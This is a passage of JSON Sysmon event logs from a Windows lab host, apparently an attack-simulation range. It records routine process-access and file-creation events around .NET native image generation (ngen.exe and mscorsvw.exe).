C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:09.807","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FD-5F2D-0000-001068090F00}","TargetProcessId":"3148","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7809,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:10.135\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FE-5F2D-0000-0010DA0C0F00}\r\nTargetProcessId: 5108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:10.135","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FE-5F2D-0000-0010DA0C0F00}","TargetProcessId":"5108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7810,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:10.135\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FE-5F2D-0000-0010DA0C0F00}\r\nTargetProcessId: 5108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:10.135","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FE-5F2D-0000-0010DA0C0F00}","TargetProcessId":"5108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7811,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:10.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FE-5F2D-0000-0010DA0C0F00}\r\nTargetProcessId: 5108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:10.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FE-5F2D-0000-0010DA0C0F00}","TargetProcessId":"5108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7812,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:10.479\r\nProcessGuid: {90617006-42FE-5F2D-0000-0010DA0C0F00}\r\nProcessId: 5108\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\13f4-0\\System.Runtime.Caching.dll\r\nCreationUtcTime: 2020-08-07 12:03:10.479","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:10.479","ProcessGuid":"{90617006-42FE-5F2D-0000-0010DA0C0F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\13f4-0\\System.Runtime.Caching.dll","CreationUtcTime":"2020-08-07 12:03:10.479","EventReceivedTime":"2020-08-07 12:03:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7813,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:10.619\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FE-5F2D-0000-0010AF100F00}\r\nTargetProcessId: 4196\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:10.619","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FE-5F2D-0000-0010AF100F00}","TargetProcessId":"4196","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7814,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:10.619\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FE-5F2D-0000-0010AF100F00}\r\nTargetProcessId: 4196\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:10.619","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FE-5F2D-0000-0010AF100F00}","TargetProcessId":"4196","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7815,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:10.651\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FE-5F2D-0000-0010AF100F00}\r\nTargetProcessId: 4196\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:10.651","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FE-5F2D-0000-0010AF100F00}","TargetProcessId":"4196","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7816,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:10.948\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FE-5F2D-0000-001080140F00}\r\nTargetProcessId: 4652\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:10.948","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FE-5F2D-0000-001080140F00}","TargetProcessId":"4652","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 